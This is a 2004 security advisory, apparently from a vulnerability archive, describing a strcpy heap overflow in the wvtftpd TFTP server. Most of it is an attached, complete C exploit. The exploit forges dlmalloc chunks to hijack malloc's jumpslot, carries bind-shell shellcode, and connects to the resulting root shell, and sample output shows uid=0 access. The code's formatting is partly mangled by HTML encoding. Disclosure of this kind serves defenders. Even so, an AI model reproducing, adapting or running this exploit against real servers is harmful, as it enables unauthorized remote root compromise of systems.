wvtfpd remote root heap overflow

2004-10-27T00:00:00
ID SECURITYVULNS:DOC:7085
Type securityvulns
Reporter Securityvulns
Modified 2004-10-27T00:00:00

Description

Subject:

WVTFTPD heap overflow, remote root exploit

++++++++++++++++++++++++++++++++++++++++++++

Product:

WVTFTPD ... the world's fastest TFTP server. http://open.nit.ca/wiki/index.php?page=WvTftp

Not used much yet b/c it's rather new, but other software by this company seems to be in circulation.

++++++++++++++++++++++++++++++++++++++++++++

Vulnerable:

I tested latest, wvtftp-0.9.

++++++++++++++++++++++++++++++++++++++++++++

Summary:

There is a heap buffer overflow due to strcpy(). This leads to a remote root compromise as tftpd runs as root.

++++++++++++++++++++++++++++++++++++++++++++

Details:

The overflow occurs in the file wvtftpserver.cc around line 535, function WvTFTPServer::new_connection(). A TFTPD packet has option name value pairs. They are given as a NULL terminated option name, followed by an ascii representation of the number value. atoi() is used on the value string, and as long as the original part of the string equals a value > 8 && < 65464, the string is strcpy()'d into the heap buffer. Since atoi() stops when it encounters the first non ascii number character, and returns no error, the programmer assumed that as long as the number was ok that the string was that length. By supplying a long string for value you can overflow the buffer, and control heap management structures.

Exploit:

Attached.

++++++++++++++++++++++++++++++++++++++++++++

/ * wvtftp option name heap overflow remote root exploit * * infamous42md AT hotpop DOT com * * exploitation is not exactly straight forward. When we overflow our buffer, * we overwrite a pointer that is freed before we get to trigger our overwrite. * so we have to restore the state of this pointer to some sane value so it can * be freed. after we do this, we trigger the overwrite, and hijack the * jumpslot for malloc(). then to trigger malloc(), we send a bogus request, * and then connect to our shell. all of the offsets should be fixed for 32 bit * platforms, all you need to pass is the base address of the heap buffer we're * overflowing. 'ltrace wvtftpd -dd 2>&1 | grep malloc | grep 616', and of * course the jumpslot for malloc(), 'objdump -R wvtftpd | grep malloc'. * /

if 0

Usage: ./a.out [ -h host ] [ -r object_heap_base ] [ -l retloc ] [ -f remote file ] < -p port > < -a align > [n00b@localho.outernet] ./a.out -h localho -r 0x8063cd0 -l 0x0805e540

connected to localho(127.0.0.1)

exploit sent, total data len 597

triggering overwritten jumpslot

connected to localho(127.0.0.1)

got a shell

id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)

  • Connection closed by user

endif

include <stdio.h>

include <sys/types.h>

include <string.h>

include <stdlib.h>

include <unistd.h>

include <sys/socket.h>

include <netdb.h>

include <netinet/in.h>

include <arpa/inet.h>

include <stdlib.h>

define REMOTE_FILE "foo"

define FTP_PORT 69

define NOP 0x90

define BS 0x1000

define SHELL_PORT 7000

define ALIGN 0

define die(x) do{ perror(x); exit(1); }while(0)

/ a dlmalloc chunk descriptor /

define CHUNKSZ sizeof(mchunk_t)

typedef struct _mchunk { size_t prevsz; size_t sz; long fd; long bk; } mchunk_t;

/ program arguments / typedef struct _args { char host, remote_file; u_long object_heap_base, retloc; u_short port, align; } args;

/ call them shell code /

define SHELL_LEN (sizeof(remote)-1)

char remote[] = "\xeb\x0a""1234567890" / jump / "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6" "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50" "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a" "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31" "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0" "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80" "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xa1\x5f\x66\x6e\x69";

void usage(char *progname) { fprintf(stderr, "Usage: %s\n" "\t[ -h host ] [ -r object_heap_base ] [ -l retloc ]\n" "\t[ -f remote file ] < -p port > < -a align >\n", progname); exit(EXIT_FAILURE); }

void parse_args(int argc, char *argv, args argp) { int c = 0;

while&#40;&#40;c = getopt&#40;argc, argv, &quot;h:p:r:a:l:&quot;&#41;&#41; != -1&#41; {
        switch &#40;c&#41; {
            case &#39;a&#39;:
            argp-&gt;align = atoi&#40;optarg&#41;;
                break;
            case &#39;p&#39;:
            argp-&gt;port = atoi&#40;optarg&#41;;
                break;
            case &#39;r&#39;:
            argp-&gt;object_heap_base = strtoul&#40;optarg, NULL, 16&#41;;
                break;
            case &#39;l&#39;:
            argp-&gt;retloc = strtoul&#40;optarg, NULL, 16&#41;;
                break;
            case &#39;h&#39;:
            argp-&gt;host = optarg;
                break;
            case &#39;f&#39;:
            argp-&gt;remote_file = optarg;
                break;
            case &#39;:&#39;:
            case &#39;?&#39;:
            default:
            usage&#40;argv[0]&#41;;
        }
}

if&#40;optind != argc || argp-&gt;align &gt; CHUNKSZ-1 || argp-&gt;object_heap_base == 0

|| argp->host == NULL || argp->port == 0 || argp->retloc == 0 || argp->remote_file == NULL) usage(argv[0]); }

int conn(char host, u_short port, int proto) { int sock = 0; struct hostent hp; struct sockaddr_in sa;

memset&#40;&sa, 0, sizeof&#40;sa&#41;&#41;;

hp = gethostbyname&#40;host&#41;;
if &#40;hp == NULL&#41; {
        herror&#40;&quot;gethostbyname&quot;&#41;;
    exit&#40;EXIT_FAILURE&#41;;
}
sa.sin_family = AF_INET;
sa.sin_port = htons&#40;port&#41;;
sa.sin_addr = **&#40;&#40;struct in_addr **&#41; hp-&gt;h_addr_list&#41;;

sock = socket&#40;AF_INET, proto, 0&#41;;
if &#40;sock &lt; 0&#41;
        die&#40;&quot;socket&quot;&#41;;

/* with UDP this means we can write&#40;&#41; instead of sendto&#40;&#41; */
if &#40;connect&#40;sock, &#40;struct sockaddr *&#41; &sa, sizeof&#40;sa&#41;&#41; &lt; 0&#41;
        die&#40;&quot;connect&quot;&#41;;

printf&#40;&quot;&#92;nconnected to &#37;s&#40;&#37;s&#41;&#92;n&#92;n&quot;, host, inet_ntoa&#40;sa.sin_addr&#41;&#41;;
return sock;

}

/ * ftp packet bytes look like: * * 0-1 code - [0]256 + [1] : 1 for read, 2 for write * 2 NULL termed file name, must exist and be readable * X NULL termed mode [ netascii octet mail ] * Y NULL termed option name * Z NULL termed option value : overflow with this string * and a bad option to get our pointer freed / void sploit(args argp, int sock) { int len = 0, align = argp->align, x = 0, begin_packet_data; long retloc = argp->retloc, object_heap_base = argp->object_heap_base; char buf[BS], *remote_file = argp->remote_file; mchunk_t chunk;

memset&#40;buf, 0, BS&#41;;
memset&#40;&chunk, 0, CHUNKSZ&#41;;

/* set opcode for reading */
buf[1] = 1;
len = 2;

/* the file to read,  and the mode */
len += sprintf&#40;buf + len, &quot;&#37;s&quot;,  remote_file&#41; + 1;
len += sprintf&#40;buf + len, &quot;&#37;s&quot;, &quot;octet&quot;&#41; + 1;

/* all that follows gets copied via strcpy&#40;&#41; */
begin_packet_data = len;

/* the option */
len += sprintf&#40;buf+len, &quot;&#37;s&quot;, &quot;blksize&quot;&#41; + 1; /* 8 */

/* the overflow , but first a valid blocksize to past test */
len += sprintf&#40;buf+len, &quot;&#37;s&quot;, &quot;512&quot;&#41;;   /* 3 */

/*  
 *  from here buffer looks like:
 *  [ align - shell - chunks - pkttimes - chunks ]
 */

define OFFSET_TO_OUR_BUF_FROM_BASE 56

/* setup the chunk */
chunk.prevsz = 0xfffffffc;
chunk.sz = 0xfffffffc;
chunk.fd = retloc - 12;
chunk.bk = object_heap_base + OFFSET_TO_OUR_BUF_FROM_BASE + align + 11/* 8 +

3 */;

memset&#40;buf+len, &#39;A&#39;, align&#41;;
len += align;
memcpy&#40;buf+len, remote, SHELL_LEN&#41;;
len += SHELL_LEN;

define CHUNK_BYTES 416

for&#40;x = 0; x &lt; CHUNK_BYTES - &#40;CHUNKSZ - 1&#41;; x+= CHUNKSZ&#41;
    memcpy&#40;buf+len+x, &chunk, CHUNKSZ&#41;;
len += x;
buf[len++] = 0;

/* trigger the free with a bad option &#40;no value&#41; */
len += sprintf&#40;buf+len, &quot;&#37;s&quot;, &quot;blksize&quot;&#41; + 1;

/*
 * the buffer we overflow is part of a larger structure that is embedded in
 * a class object located on the heap.  the base address of this object is
 * what &#39;object_heap_base&#39; refers to.  the structure is &#39;struct TFTPConn&#39;,
 * member of the &#39;class WvTFTPBase&#39;.  we need to repair a pointer in the
 * data that we overwrite.  the pkttimes member of the structure is a
 * pointer to an object of type &#39;class PktTime&#39; that gets deleted.  in this
 * destructor for the object that gets deleted, a member pointer offset 12
 * bytes in, is a pointer that gets freed via delete.  This freed pointer
 * needs to  be set up by us.  You could create a fake chunk and use that,
 * but it is simpler to just make that pointer be NULL as free&#40;0&#41; does
 * nothing.  there are several spots where we have a guaranteed NULL word
 * inside of the &#39;struct TFTPConn&#39; class object. so the idea is to point
 * pkttimes 12 bytes below that NULL, so that when it goes to free the
 * pointer, it will use the NULL word.
 */

/* 
 * our buffer is 512 bytes, and we start copying at 2 bytes in.  the
 * distance to pkttimes pointer is 526 bytes, rounded up to 4 byte boundary
 */

define OFFSET_TO_PKTTIMES_IN_BUFFER 528

/*
 * we point pkttimes at an area that contains guaranteed NULL word, which is
 * the &#39;lastsent&#39; member of the TFTPConn structure. it is the number of
 * blocks which have been sent over teh connection so far.  it will always
 * be 0 since no blocks have been sent to us yet.  if we know the base of
 * the object we know where &#39;lastsent&#39; is located.
 */

define OFFSET_TO_NULL_POINTERS_FROM_BASE_MINUS_12 40

*&#40;uint32_t *&#41;&#40;buf + begin_packet_data + OFFSET_TO_PKTTIMES_IN_BUFFER&#41; = 
            object_heap_base + OFFSET_TO_NULL_POINTERS_FROM_BASE_MINUS_12;

write&#40;sock, buf, len&#41;;
printf&#40;&quot;exploit sent, total data len &#37;d&#92;n&#92;n&quot;, len&#41;;

}

void shell(char *host, u_short port) { int sock = 0, l = 0; char buf[BS]; fd_set rfds;

sock = conn&#40;host, port, SOCK_STREAM&#41;;

printf&#40;&quot;got a shell&#92;n&#92;n&quot;&#41;;
FD_ZERO&#40;&rfds&#41;;

while&#40;1&#41;{
        FD_SET&#40;STDIN_FILENO, &rfds&#41;;
        FD_SET&#40;sock, &rfds&#41;;

    if&#40;select&#40;sock + 1, &rfds, NULL, NULL, NULL&#41; &lt; 1&#41;
        die&#40;&quot;select&quot;&#41;;

        if&#40;FD_ISSET&#40;STDIN_FILENO, &rfds&#41;&#41; {
            if&#40;&#40;l = read&#40;0, buf, BS&#41;&#41; &lt;= 0&#41;
                    die&#40;&quot;&#92;n - Connection closed by user&#92;n&quot;&#41;;
            if&#40;write&#40;sock, buf, l&#41; &lt; 1&#41;
                    die&#40;&quot;write&quot;&#41;;
        }

        if&#40;FD_ISSET&#40;sock, &rfds&#41;&#41; {
            l = read&#40;sock, buf, sizeof&#40;buf&#41;&#41;;

            if &#40;l == 0&#41;
                    die&#40;&quot;&#92;n - Connection terminated.&#92;n&quot;&#41;;
            else if&#40;l &lt; 0&#41;
                    die&#40;&quot;&#92;n - Read failure&#92;n&quot;&#41;;

            if&#40;write&#40;1, buf, l&#41; &lt; 1&#41;
                    die&#40;&quot;write&quot;&#41;;
        }
}

}

/ * call the function whose jumpslot we overwrote, malloc() / void trigger_retloc(int sock) { char buf[BS];

write&#40;sock, buf, 200&#41;;

}

/ / int main(int argc, char **argv) { int sock = 0; args argy;

memset&#40;&argy, 0, sizeof&#40;argy&#41;&#41;;
argy.align = ALIGN;
argy.port = FTP_PORT;
argy.remote_file = REMOTE_FILE;

parse_args&#40;argc, argv, &argy&#41;;

sock = conn&#40;argy.host, argy.port, SOCK_DGRAM&#41;;

sploit&#40;&argy, sock&#41;;

sleep&#40;2&#41;;
printf&#40;&quot;triggering overwritten jumpslot&#92;n&#92;n&quot;&#41;;
trigger_retloc&#40;sock&#41;;
sleep&#40;1&#41;;
close&#40;sock&#41;;

shell&#40;argy.host, SHELL_PORT&#41;;

return EXIT_SUCCESS;

}

-- -sean